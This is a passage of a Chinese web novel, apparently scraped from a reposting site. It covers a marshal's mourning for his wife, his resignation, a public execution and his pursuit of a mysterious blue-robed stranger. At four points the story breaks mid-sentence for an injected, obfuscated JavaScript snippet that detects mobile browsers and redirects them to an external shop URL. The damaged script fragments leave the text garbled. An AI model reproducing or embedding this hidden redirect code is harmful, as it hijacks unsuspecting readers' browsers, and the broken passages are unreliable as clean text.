不用每天处理军演的报告,不必和将军们商讨接下来针对各地的策略,那些繁杂的琐事一夕之间离他远去,不再打扰他的清净。 这样也挺好,除了吃饭睡觉,他几乎是和闻人芹粘在一起,看看书,讲讲故事,陪女儿玩耍,闻人空烛也时不时过来,看看儿子恢复得怎么样。这便是闻人佐每日的活动。 偶尔,也会有大臣找来,给闻人佐送来一些礼物。 他们都说,陛下不让他们来,怕打扰到大元帅,若是发现了,就要惩治他们。 但是这伙人还是来了,瞒着姜雨,瞒着其他人,偷偷来闻人佐的病房,给大元帅送吃的,送用的,送一些贵重的东西。大元帅不怎么接受,他们还是乐此不疲地来。 他们拜托大元帅千万别给陛下打报告,不过他们还说,就算大元帅打报告,他们还是会继续来。 就像是想要补偿这么多年来对他的亏欠一般,突然之间,许多人开始亲近闻人佐。这让大元帅有些不适应,他只能感谢那些人的好意,让他们把东西都留着,说自己将来可能也不是什么大元帅,无以回馈。但是这并没有打消那些人的热情。 久而久之,闻人佐也就随他们去了,而且,也没有向姜雨揭发他们的意思。 丢弃了拐杖后,闻人佐便带着闻人芹回到了家里。家里没怎么变样,侍者和家仆们都满含泪光,迎接他和闻人芹的归来。 安顿好了小孩,清点了家里的事情,现在,闻人佐必须去处理一些大人的事情了。 闻人芹很乖,不哭也不闹,也一直没有问妈妈去哪了。说实话,如果闻人芹这么问,闻人佐一时间还不知道该如何回答她。毕竟,他连自己的思绪也还没有整理好。 闻人佐跟着一名家里掌事的侍者离开了宅院,坐着马车,来到了一个装潢肃穆的建筑,它是殡仪殿。他们走了进去,和柜台的人交代了一声,一个师傅领着他们来到一个房间里,这里有股奇怪的味道,有些刺鼻,房间里陈列着排排暗银色的灵柩。 师傅带路,闻人佐和侍者来到了一个灵柩前,灵柩尾部贴着一张纸,上面写着一个名字。 那师傅打开灵柩,一个人影在其中出现,她躺着,闭着眼,身体僵硬,一动不动,皮肤有些透明。 第一眼看过去的时候,闻人佐窒息了一瞬间,那个人,像她,也不像她。 戈首的圆柱摧毁了她的容貌,复原师们修复了她的身体,让她完整,不再那么支离破碎。但是,由人工缝合的身躯和面庞,加上多日的维系,已然不能够还原她生前的样貌。 闻人佐蹲在那灵柩旁,看着倪宝娇的脸,只是那么看着,试图从那个有些陌生的脸上找到曾经熟悉的痕迹。 “唉……”侍者在一旁叹息,说道,“夫人,好走。大人,请节哀吧。” 闻人佐看了一阵子,在她听不见任何声音的耳旁说道:“宝娇,我会照顾好我们的女儿。你……安心地去吧。” 室内的烛光一闪,仿佛远在天边的人回应了他。 师傅合上了灵柩,委婉地问道:“贵客打算什么时候请人安眠?” 闻人佐答:“就今日。” 倪宝娇的葬礼不算隆重,有姜雨,闻人空烛,闻人佐,闻人芹,几个闻迅赶来的远房亲戚,大元帅家里的侍者们,还有那些在闻人佐住院的时候乐此不疲来“打扰”他的一众群臣。 他们举行了葬礼,将倪宝娇葬在闻人家族的墓地中。 整个过程中,闻人芹很乖,她看着母亲的坟墓,一句都没有问过那是什么,尽管她从没见过,却仿佛知道一般。 葬礼悄然展开,又悄然结束,闻人佐不希望太多人来打扰倪宝娇的安宁,毕竟,在生前,她已经太累、太疲倦了。 葬礼结束不久,姜雨找到了闻人佐。 看着那个金发的摄文王一脸正气地走来,一副要谈大事的模样,闻人佐心想,恐怕今天是要给对方一个交代了。 姜雨笑着和闻人芹打了招呼,闻人空烛见姜雨冲着闻人佐过来,于是带着小孩走开了。 姜雨满脸宠爱地盯着闻人芹离开,不忘和她摆摆手,仿佛那是自己的女儿一样,“她很冷静,将来必有一番大作为。” 闻人佐也盯着闻人芹,“我只希望她将来平平安安地生活。” 姜雨收回视线,盯着闻人佐,“佐叔……如果你愿意的话,我可以把小芹接到王庭里来生活,她想要什么,我都会给她。” “不了……多谢陛下的好意。”闻人佐明确地拒绝道。王庭之中,是非颇多,他当上大元帅,一朝入王庭,便换得数年的苦痛,他不希望闻人芹将来经历这些,哪怕只有微小的可能性,也不行。 “小芹的事情,你倒是拒绝得很快。那你自己的事呢?”姜雨歪着脑袋,问他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575410|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 闻人佐自然明白他说得是什么,只是,时间越长,他便发觉自己越不想回到那个位置上去。他顿了顿,开口,“……将来,陛下有需要的时候,可以随时传唤我。我定尽我最大的可能,义不容辞。” “这是拒绝我的意思?”姜雨问。 闻人佐低头,沉声道:“请陛下原谅。” “好吧。”姜雨顿了顿,但是,什么也没说,只是像为了劝服自己一般,再度重复道,“好吧。” 闻人佐抬起头,看向有些失落的姜雨。 虽然,二十岁左右的男孩和他的王兄姜昆维模样有些相近,然而,他们却有着完全不同的性格。 如果是姜昆维,这时候一定不会这么罢休。如果是那个先王姜昆维今天站在这里,想要让闻人佐继续当这个大元帅,他绝对不会考虑闻人佐的想法,而是执意要他当。就算闻人佐拒绝,姜昆维也会说:但我不甘心啊,闻人。要不,这件事就先这样,你还挂着大元帅的名字,先什么事都不用做。一生这么长,我总能等到你想要回来的那天吧? 听上去挺好的,但这是枷锁。就像五年前,姜昆维在行刑架上把闻人佐救下来时一样,那不是拯救,而是新的负担。 只要还挂着大元帅的职位,只要君王还对他有所预期,闻人佐就不可能真正地自由。 所以,姜雨只是说,好吧。 那一句好吧,代表了放弃,也代表了包容。 这是他和姜昆维的绝对不同之处。 闻人佐只觉得感激,“谢谢……陛下。” “好了好了。一天中,你都谢了我多少次了?”姜雨摆摆手,说道,“哦对了,佐叔,还有一件事得麻烦你……” “是什么?”闻人佐问道。 “六天之后,丝黛拉会在中央广场上被执行处决。那时候,我希望你再出面一次,就当做跟这个城市和王庭真正的诀别。”姜雨道,郑重其事。 他已经拒绝了姜雨一次,没有理由再拒绝第二次,更何况,这只是一个出场的小小请求。 “我会出席,陛下。” 姜雨笑起来,“那就这么说定了。” 倪宝娇的葬礼结束了,人们纷纷回归了以往的生活,闻人佐一家回到了宅邸之中,姜雨则去往了王庭。 闻人佐来到了他与倪宝娇共同生活的房间里,他们一直在一起睡觉,但是,已经很久没有心对心交流,只有姜雨出现了之后,解释清了这些年的误解,他们的心结才解开。 然而,他们根本没来得及重新认识,也没有重归于好的时间,倪宝娇已经早早地离开了他。 他还来不及为她做什么,来不及为她这些年所经历的冷漠、别人的戏语而补偿些什么,她却已经在角斗场上悲惨地死去。 没什么什么能够弥补她所经历的一切,该得到补偿的人已经不在这个世界上,无论做什么都无济于事。 显然也成为了闻人佐心中去不掉的病根。而他一生中有非常多这种病根,都难易消除。它们折磨着他,直到什么什时候这幅身体承受不住了,一切才能终结。 但还不是现在,现在,他还挺得住。他有一个女儿要抚养长大,家中的老人也愈发衰老,他被捆绑在这个世界上,暂时还哪都不能去,不能顺应死亡低语般的诱惑。 总之先这么活下去吧。 179. 风花凋落6 那之后,日子风平浪静地过去。 一切恢复如初,只是,闻人佐不再像以前每日赶赴王庭,去参加每日群臣的觐见,他现在一身轻松。 偶尔有大臣来家里找他,与他诉说着王庭中的趣事。在这一连串的事情结束之后,他的朋友似乎莫名多了起来,闻人佐也不知道这些人是突然从哪里冒出来的。 闻人芹每天都会去学堂,家里只有退役的闻人空烛和闻人佐自己,日子过得平淡,所以,他也不拒绝那些找上门的大臣,至少,他们还能聚在一起聊聊天。 时间一晃就过,来到了和姜雨约定好的日子。 那天早上,闻人佐早早就起了床,送走了闻人芹后,就准备要出发去中央广场。 就在他要出门时,马蹄声却先一步传来了。 出去,发现是一队隆重的车队停在自己府邸门口。 姜雨撩开了车帘,从马车上跳下来,神采奕奕地往闻人的府邸里走。 闻人佐一看,这阵仗,难不成是来接他的? 姜雨笑盈盈地冲进来,他浑身衣冠金贵,又裁剪得十分合身。他仿佛还是那个妓院里看书的男孩,眼神清澈、单纯,但是,他们都知道,他已经不再是过去的他。 姜雨朝闻人佐招手,喊道:“佐叔,我来接你了!” 闻人佐上来迎他,“陛下怎么亲自来了。” “我怕你忘了嘛。”姜雨道,“给你的位置都留好了,你要是不来可就坏事了。” “既然答应了您,我就肯定会去。”闻人佐道。 “反正还有点时间,你慢慢收拾,佐叔。”姜雨拍拍闻人佐的肩,非常不把自己当外人地往屋子里走,“你忙你的,我去看看后厨有没有什么吃的。昨夜熬了一个通宵,好不容易从那些大臣手里逃出来,可让我歇歇吧……” 姜雨的声音越来越小,只因他非常轻车熟路地自己跑去了后厨,消失在了墙砖之间。 闻人佐招呼来了侍者,让他跟着进去,看陛下有什么需要,时刻应付着。 姜雨说要让他收拾,可他没什么好收拾的,只是去中央广场看一场行刑。姜雨没说有别的安排,闻人佐便默认只有这一件事。于是他勉为其难给自己找了点事做,清理了一番仪容,检查了自己的佩剑,选了两个用得趁手的待者,然后便去后厨找姜雨,想通知他自己什么时候都可以出发。 到了后厨,发现姜雨正捧着一个盆吃得不亦乐乎,那里面有汤有肉,就是呈色看上去不那么好。闻人佐定睛一看,那不是闻人芹早上吃剩的东西吗?立马想上去阻止,可是姜雨已经将那一碗剩饭囫囵地吞了下去。 现在再说什么也来不及了。 闻人佐有些叱责地看向侍者,“怎么让陛下吃这些?” “陛下说他吃这个就行……” 姜雨看到了闻人佐,在他那昂贵的袖子上擦了把嘴,道:“我不嫌弃,反正到了肚子里都一样。这是可以走了,佐叔?” 闻人佐欲言又止。姜雨现在已经摄文王了,行事怎么也得有点样子,就算他不嫌弃,一个王又怎能吃别人吃剩的饭食,叫人看去,岂不是要在背后议论纷纷。 但是,闻人佐知道,自己说什么姜雨都不会听,这个瘦小的金发男人有自己的行事准则。 只好作罢,“嗯,可以启程了。” “走咯!”姜雨将盆一撂,迈开腿就走起来,脚下生风,领在前头走得飞快。 闻人佐跟着姜雨上了马车,车夫赶马,驶向中央广场。 撩开车帘,外面是明媚的晴空。 天气不错。 闻人佐看着它,感觉十分地畅然,这种感觉已经很久都没有了。 姜雨则看着另一边,两人就这么沉默了一阵,姜雨突然说道:“明天开始,你就不是大元帅了。” 闻人佐一顿,说道:“……嗯。” “这之后打算做什么去?”姜雨回过头来问他,“除了围着小芹打转。这个理由我已经听了很多遍了。” 闻人佐想了想,如实回答,“我还不知道。” 姜雨语重心长,音色迟缓,“佐叔,你们家……从过去就是姜家忠实的信臣。小的时候,起码,当我认识你的时候,你每天都是围着姜家打转。” 闻人佐觉得对方说得并没有错,“的确是这样,这是我的职责和使命。” “但你已经挣脱出来了,不是吗?”姜雨道。 闻人佐收起视线,看着车厢内另一个人。 姜雨解释道:“你拒绝了大元帅的职责,拒绝了作为姜家人的我。那些义务已经不再束缚着你,你可以做任何自己想做的事,但是,你却不知道自己要做什么吗?” “我……”闻人佐张了张嘴,他真的什么也想不出来。除却了闻人芹,似乎也没什么需要去追求的东西,没什么奢望的,也没什么特别想要的,没什么想去的地方,也没什么想做的事情。这种空茫的感觉,不怎么好受,但是他不知道自己哪里出了问题。 姜雨盯着闻人佐,道:“我读过一本书,书上写,人是由欲望构成的物种,只有有了‘想要’的这个想法,人才会开始行动,否则,其他一切都是空谈。” 闻人佐想了想,他的视线低垂着,落在前方的木板上,“……我什么也不想要,陛下。” 姜雨看了一阵闻人佐,道:“好吧,失去目标,这也是没办法的事情。谁都有迷茫的时候……把小芹当成是一个目标,就现阶段来说……也还不错。” 闻人佐看了姜雨一眼,姜雨已经转向窗外的风景,不再看他,似乎是结束了对话。 姜雨这是,在担忧什么? 总觉得,他在担心一些连闻人佐自己都意识不到的东西。 又过了一阵,窗外的景色变得开阔起来,马车在此处停下,预示着已经到达了终点。 有人为他们打开了车门,外面是开阔的场地、嘈杂的人群,以及高起的处刑架。 他们来到了中央广场,这里便是行刑之地。 姜雨让闻人佐跟着他走,新晋的摄文王步伐沉稳,往行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589168|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刑台上走去,闻人佐跟着他登上了台阶。 为了能让广场上所有人都看到处刑的场景,绞刑架立得很高。在攀爬高台的过程中,闻人佐侧头看到了地面上熙熙攘攘的人群,他们围聚在一起,随着距离的拉远,每一个面庞逐渐模糊,不真不切。 登上行刑台,上面的绞刑架出现在了视野中,一个被五花大绑的女人跪在地上,默不作声,身上没有什么伤痕,模样消瘦。那金色的发和蒙眼的白布告诉闻人佐,那正是丝黛拉。 看到她,闻人佐想起来前不久在病房和姜雨的对话。 他问姜雨,那天在审判会堂,丝黛拉说了那么多真相,他究竟是怎么说服她的。 姜雨说了这么一番话,闻人佐到现在还记忆犹新。 他说:“因为丝黛拉喜欢姜昆维,即使他那么利用她,她也喜欢。 “我问她,你后悔吗。她说她后悔,即使她的心还在爱着姜昆维,但是她后悔。 “然后,我跟她说,把你们的事情告诉世人吧,爱也好,恨也好,都说出来。你们没有孩子,没有两人共同经营的任何东西,甚至姜昆维亲手毁了你所属的闵派。所有的一切都会在你被处决的那天结束,没有任何意义。 “但是,如果你把真相说出来,你们的故事,不管好也罢,坏也罢,会在这世间流传很久,久到许多人的生命都不能与之相提并论。或许有辱骂的声音,有同情的评价,不过,那也和已经入土的你没有什么关系了,你不会受到那些话语的侵害,姜昆维也不会,你们更没有要背负那些骂名的后代。 “你们的故事会像是图腾一样,镌刻在这片大地,时间一长,等王朝兴起又衰落,摄文这个名字也成历史的时候,会有异邦的人把你们当成传说,也会有人在你们的故事中得到警醒,避免重蹈这样的覆辙。“ 那时,闻人佐问:“然后她就说了?” 姜雨:“是的,她什么都说了。” 当下,看着那个跪在地上的女人,闻人佐总觉得有些怅然。 姜昆维无疑是个罪大恶极之人,可这样的恶徒,却也从各个方面影响了太多的人。 站在这冰冷的行刑台上,闻人佐不由得思绪繁多,他不知道自己怎么了,可回忆一个接一个钻进他的脑海。 下一个回忆是五年前,那时,人们将他绑起来,自己便是跪在这个绞刑架前,就在如今丝黛拉所在的那个地方。似乎那天也有这么多的观众,台下众人的面庞也是如今日一般模糊。行刑者将绳子套在他的脖子上,收紧它,只等大元帅脚下的踏板敞开,他马上就会坠下去,在窒息中死亡。 那之后发生了什么来着。 对了,那之后,他看到一群人骑着马赶来。 领头的是伤痕累累的姜昆维,那是惨剧发生的第十七天,他被刺客划开的胸口才刚缝上,远没有愈合。 摄文王骑马狂奔而至,身后的人在不断喊着住手,一声声呐喊盖过了现场所有的欢呼声。 而最终,大元帅脚下的踏板迟迟没有敞开。 180. 见闻1 距离那一天,居然都过去五年多了。闻人佐想着。 他站在这个行刑台上,看着台下的那些群众,却感觉时间没有走动一般。低下头去,看到自己的脚下是坚实的木板,它并没有一道会打开的缝隙。 他已经不是那个被群起而攻之的罪人。世界像一个轮回,五年前,他险些在这里丢掉性命,而今天,五年过去,他虽然还活着,但是,大元帅已经死了。 他只是一个偶然苟活了五年的亡魂。不知为何,看着这似曾相识的一切,闻人佐突然有了这种想法。 姜雨站在行刑台之前,身旁有侍者代他开口,“先王姜昆维之妻,王后丝黛拉,出身刺客联盟,五年前参与袭击王室的惨剧,与其同僚杀害先王姜阳及其妻子、子嗣,而后潜逃。后又伪造其亡国公主身份,混入王庭之中,协助先王谋害众多元老大臣。 “大罪当诛,当即执行。” 声音落下,台下爆发了激烈的声音,所有人都在对这女人口诛笔伐。 闻人佐看过去,丝黛拉依然垂着头,被身边两人架起来,脖子上缠上粗绳,整个过程中,她没有丝毫反抗,仿佛已经默认自己是个死人一般,没有任何的回应。 闻人佐看着她,心想,自己当年应该就是这幅模样。已经失去了对生的渴望,接受对自己的惩治,所以不反抗,也没有任何的声响。 看着这一幕,他突然有些恍惚,总觉得当年的事情还会重演,这时候会有人不远万里地赶来,将群众的声音压下去,大声喊着手下留情。 处刑者栓紧了犯人脖颈上的粗麻绳,操作者打开了开关,丝黛拉脚下的木板敞开,她瘦弱的身躯像是一片叶子一般,坠落到底,颠了几下,又抽搐了片刻,而后,便毫无生气地摇摇晃晃,像一块被水浸湿、又被低温冻住的僵硬破布一样。 直到这一刻,闻人佐以为会来的人也没有来。 因为姜昆维死了。 闻人佐对自己说。 因为他死了。 他一遍又一遍对自己重复,可是这个事实却永远也进入不了自己的脑海,就好像他内心深处在否定这个现实。 不是因为他想要姜昆维活着,而是姜昆维会死这件事从头到尾就不被他相信。 他不知道自己究竟是怎么回事。 闻人佐恍然地看着,半天,群众们的呐喊声才回到他的耳中。他死人见得多了,常年打仗,见过很多支离破碎的身体,丝黛拉的样子算得上体面,所以,让他恍惚的不是当下的场景,而是内心一种怪异的情绪。 他仿佛在哪见过这一切似的,不是五年前的那一次,而是更久远的什么时候……仿佛是在历史书上看到过,又或者在非常年幼的时候见到过这一幕。此刻的既视感,让他迟迟都无法回神。 这时候,姜雨往前站了两步,说道:“旧时代的罪人已被处死,所有的罪孽都已断绝,我可亲可敬的子民们,接下来,是新时代的开展。而在此辞旧迎新之时,我想向所有人宣布一件事……” 闻人佐听到了姜雨的声音,他有些迟钝地转过头来,不知为何,连当下这一幕,他都很熟悉。眼前是姜雨的背影,再往前是成群的观众,观众上方是城市楼房的剪影,再往上,便是那晴朗无云的天空。 一个金发的人背对着他,在一个晴朗的日子,向万民宣告着些什么。这样的场合,他似乎不是第一次经历了。 一切都是那么地熟悉,像是刻入了他的骨髓一般。但闻人佐很清楚,自己绝对没有经历过这种事。 所以,他很困惑。 “有请大元帅闻人佐——” 闻人佐听到姜雨在传呼他,摄文王回头看他,伸手邀请他。闻人佐愣了愣,内心反应了过来。姜雨叫他来处刑台上露面,一定不会是要他在那站着那么简单,这个年轻的王一直想在平民面前为大元帅昭雪,当下的确是个非常合适的时机。 闻人佐没有忤逆对方的念头,他抬起自己的脚,有些轻飘飘地往前走。 站在了行刑台的边缘,暴露在那些群众之前,突然,他感觉呼吸有点急促。 姜雨的声音在身侧传来,“这些年,大元帅为摄文鞠躬尽瘁,他先是在五年前惨剧上救下了我,将我隐藏在妓院深处,后又出兵剿灭了刺客联盟,彻底杜绝了……” 闻人佐听不进姜雨说的话,他感觉到一阵眩晕,身体很重,像是有什么东西压在肩上。 他捂住自己的额头,视线落在台下喧嚷的观众之中。 怎么突然…… 自己这是怎么了? 骤然之间,一道蓝色的身影在他的视野里一晃而过。 闻人佐顿时睁大了眼睛,向那蓝色的影子望去—— 那是一个身穿深蓝衣袍的男人,头戴一个兜帽,在群众之中穿行着。当所有人都在面对着行刑台的时候,只有那个蓝袍子的人在往远去的方向走,他挤开了身边的人群,像是湍急的水流中的一颗石子,坚固的拨开所有挡了他去路的人。 那个人……那个装束是…… 闻人佐几乎在一瞬间就回想起来,对方是那天在戈首休息室的青年人。他突然出现,开枪杀死了姜昆维,又突然消失。 绝对不会有错,闻人佐百分百确定那就是他。 倏然间,脑袋里的眩晕感消失了,他现在异常清醒,立刻动身跑下台阶,甚至没管他是否还有站在这里的义务。 行刑台上一阵嘈杂,他听见姜雨在背后叫他。 “佐叔?!” 闻人佐无法为自己的不辞而别解释什么,看到那个身影,他有种感觉,自己必须追上去。那个深蓝衣袍的人身上有太多谜团,不弄清楚他会彻夜难眠。 “让让,麻烦让让!”闻人佐冲进了人群之中,往那个蓝袍子离开的方向追去。 身边,有人朝他喊话,“对不起,大元帅,我们曾经误会了你!” “幸好五年前您没死,不然摄文便失去了一位功臣啊……” 那些声音传入闻人佐的脑袋,但是,他根本没有试图去理解。是这五年间的讥讽也好,还是最近才开始的赞扬也好,都太晚了,都来不及,他早就不在乎了。 他早在他们讥讽之前,就已经自责到想要轻生;早在他们正视之前,就已经放弃了受人尊敬。 外人对他的回应,总是比他需要的慢一步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589169|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “等等,你站住!”闻人佐依稀能在人群中看到那个蓝色的背影,他经常在人群中闪现一下,而后消失,当闻人佐以为又找不到他的时候,他又会突然出现。 他们之间总是保持着不变的距离,不管自己怎么追,好像都追不上。 那家伙到底为什么要跑?这里除了自己又没有人追他。 他到底想跑到哪去? 奔跑的过程中,闻人佐的脑海里不断冒出这些问题。 人群都聚集在行刑台周围,在其中挣扎了许久,闻人佐终于从里面挣脱了出来。 那个蓝袍子拐了个弯,消失在了视野,闻人佐赶忙追上去,也拐过那个弯,看到了那个蓝色的背影,朝他放声喊道:“停住,我有话问你!” 然而,那个身影像是没有听见他的话一般,又消失在了下一个拐角。 闻人佐确信的自己声音足够大,对方不可能听不见,如果那人不是个聋子,那么,就只有一个可能,这个蓝衣服的男人在有意逃跑。 他到底在害怕什么?为什么要逃?那家伙应该知道自己不会把他怎么样。就是因为他出手阻止了姜昆维,闻人佐才活了下来。按照人情世故来说,自己理应十分感激对方的拯救,对方也应该知道这一点。 男人究竟在逃什么? 闻人佐想不明白,只能马不停蹄地追上去。 不知是巧合还是什么,他总是能跟上对方的脚步,虽然拐角有很多,但是,他每一次都能在转过拐角之后再度找到对方的身影。 就这么和他几乎跑过了小半个城,突然,蓝袍子停了下来,他转过头来,面容在兜帽下看不清楚。他似乎是看了闻人佐一眼,而后,打开了街旁的一道门,就那么走了进去,消失在了门口。 闻人佐心中一紧,追了这么半天,这还是对方第一次跑进建筑物中。 他来到门前,审慎地停下,手握住了剑柄,另一手拧紧门把手,转动它,却感受到了阻力。 上锁了? 闻人佐向后退了两步,用右半边身体冲着它——这是他在戈首上没怎么受伤的那半边身体——而后,蓄满了力气,向前冲刺。 薄脆的木门对他而言仿若无物,几乎没感受到什么阻力,门便碎了,上面出现一个巨大的窟窿。 闻人佐窜了进去,里面一片黑暗,他的眼睛一时有些反应不过来,只是依稀看出眼前是一条廊道。他小心地俯下身来,等待眼睛适应这里的黑暗。 过了一阵子,他渐渐看得清楚,这的确是一条走廊,廊道两旁有依次排列着的门,它们都紧闭着,这里看上去像是一个旅所。 闻人佐放轻了步伐,小心翼翼地往前走,他不知道那个蓝袍子躲进了哪个房间,只能一个个去试。 他来到第一个房门前,手搭上把手,暗暗施力,打算打开这扇门。 然而,就在这个时候,一阵寒意升起,他感觉自己的喉咙一凉,有什么明晃晃的东西卡在那上面,他猛然僵住了。 闻人佐一动不敢动,眼珠子往下转,看到一把泛着白光的匕首抵在自己的咽喉上。 背后,低压的声音响起,“把剑扔了。” 181. 见闻2 闻人佐顿了顿,估量了一下自己逃脱的可能性,这个距离不太好办,还是先按照对方说的来。 他依对方的意思,松手,剑叮当一声掉在地上。 突然,背后的人骤然发力,将他一下子压制在地,控制住了他的双手。 闻人佐挣了一下,侧头向身后看去,问道:“你是谁?” 他侧过头的时候,自己的脸庞暴露在对方的视野中。 与此同时,他也看清了对方的面容。 双方皆是一愣。 手上的束缚松开了,那抵着他后背的膝盖也离开了他的身体。 对方说道:“抱歉,失礼了。” 闻人佐站起来,转过身,没有急着去拿回自己的剑,只因眼前的人是他所熟悉的、那个来自血皑的王室,杜光欧。 “阁下……怎么会在这里?”闻人佐不解地问。 杜光欧收回了自己的匕首,将闻人佐扔在地上的剑捡起来,还给他。男人说道:“这里是摄文王替我找的落脚点。” 闻人佐不解:“落脚点?” 这么漆黑的、混乱的屋宅,怎么会让一个王室待在这种地方。 杜光欧:“我现在是杀害了姜昆维的人,虽然他的累累劣迹已经昭示众人,但摄文王担心会有人报复,所以找了个地方让我待着。” 闻人佐打量了一番周围,这个残破的地方,的确不像一个王室应该待的,一般人也想象不到他会在这里。 对方的出现得到了合理的解释,闻人佐又开始关心起最开始把自己引到这里的起因。 他朝那血皑的王室问道:“你有没有看到一个深蓝衣袍的人走进来?” “深蓝衣袍的人?”杜光欧疑惑。 “就是从我撞坏的那道门进来的。”闻人佐。 “没有。”杜光欧道。 “奇怪……”闻人佐嘀咕。 杜光欧打量了一番,问道:“元帅在找什么人吗?” “是的,我在追一个……”闻人佐张了张嘴,他本来不想说,但是考虑到对方和姜雨有所来往,应该值得信赖,基于这些判断,他打算告诉对方实情,用信任和诚挚以待,“我在追的那个人,是那天开枪杀死了姜昆维的人。” 杜光欧微微张开了嘴巴,“什么……” 他虽然这么感叹,但闻人佐看得出来,杜光欧不是很在乎,起码,没有自己这么在乎。于对方而言,只要姜昆维死了,中间的过程怎样都好,只有身为摄文大元帅的闻人佐会在乎究竟是谁杀死了上任摄文王。 他在乎,也并不是想要弄清楚之后,去为姜昆维去讨一个公道。这绝对不可能。 他想知道只是因为……他说不清楚。 当一个相处了四十多年的人,毫无缘由被一个神秘人杀死,是个人都会想要知道是谁杀了他。 闻人佐摇了摇头,“我追着他来到了这栋房子里,但是,那人却突然消失了……” 就在这里时候,他们旁边的房间里传来一阵怪声,闻人佐一惊,凛然看去。 杜光欧走上前,打开那扇来奇怪响动的门,屋里黑黢黢的,看不清有什么,这个血皑人却丝毫没有警戒,就那么望进去,说道:“没事,不是外人。出来吧。” 他话言落下,一个人影探出了头来,对方有一颗红色的脑袋,身穿土黄色的束腰服,模样小心翼翼,胆战心惊。 那个房门里的人东张西望了一番,盯着闻人佐,上下打量,然后,从门后面走了出来,夸张地道:“吓死我了,嘭的一声,我还以为楼炸了呢!” 闻人佐光明正大地盯着男人,对方发色在北地很少见,应该说放眼南北两陆都很稀少。 而且,对方的声音,他好像在哪听过…… “元帅,这位是我的朋友,葛马。葛马,这是摄文的大元帅,闻人佐。”杜光欧简略地说着,向两人介绍起彼此。 那红头发男人睁大了眼睛,赶忙伸出双臂,似乎是想要握手,“原来就是您,久仰大名!” 闻人佐不知道对方这是什么礼节,模仿着伸出一只手去,被对方大力地摇晃。 “哎呀,百闻不如一见,真是器宇轩昂,风姿卓越,有大将之姿!”葛马连连称赞道。 闻人佐许久没听人这么夸赞自己,他听着有点割裂,对于这些阿谀奉承的话,都有些忘了该如何回应,“……过奖了。” “等等,我难得见到这么厉害的大人物……”葛马突然低下头,在他的斜挎包里翻翻找找,拿出了一个薄本、一支笔,递给了闻人佐,“大元帅,给我签个名吧!” “葛马,别这么离谱。”一旁,杜光欧似乎有些不悦,拉了葛马一把,让他离闻人佐远点,然后对大元帅道,“元帅,你忙你的事,这栋楼都没住人,只有我。想怎么搜查怎么搜查。” “欸,贵人,你拦着我干嘛呀?”葛马在杜光欧的背后挣扎着,想把纸笔递给闻人佐,可是怎么也拧不过对方,“哦,我知道了!你是嫉妒了是不是?是我不好,最初见到贵人你的时候,没找你要签名,我现在补上,行不?你先让大元帅给我签一个。” 眼见杜光欧的脸越来越黑,闻人佐本着打圆场的想法,向葛马问道:“你要我干什么?” “签名。”葛马道。 “签名是什么意思?”闻人佐问。 葛马解释说:“就是把你的名字写在纸上,送给我。” 闻人佐沉默了半晌,“……这样做的意义是?” 葛马:“珍藏呀!” “这有什么价值?”大元帅不解。 红发男人一副恨对方不识货的模样,说道:“您就当救济救济我这贫苦百姓,给我在纸上写个好看的名字呗?嘿——接好了!” 杜光欧没拦住他,葛马将纸笔扔了出去,闻人佐往前一探,眼疾手快地抓住了。 他看了眼葛马,后者正在对杜光欧做鬼脸,而血皑王室一脸无奈。 罢了,只是个名字而已,本着和异邦人不起冲突的原则,闻人佐在那薄薄的本子上写下了自己的名字,然后将纸笔还给了葛马。 葛马笑嘻嘻接过来,“我会收好的!” 当下,闻人佐还有正事没做。他走过他们身侧,对杜光欧道:“我去里面看一眼。” 杜光欧:“有什么需要随时叫我。” 葛马将那薄纸本翻过一页,递给面前的杜光欧,“到你了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589170|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,贵人!” “我不写。”杜光欧拒绝。 “别这样,你生气了?” “葛马,我没那么幼稚。” 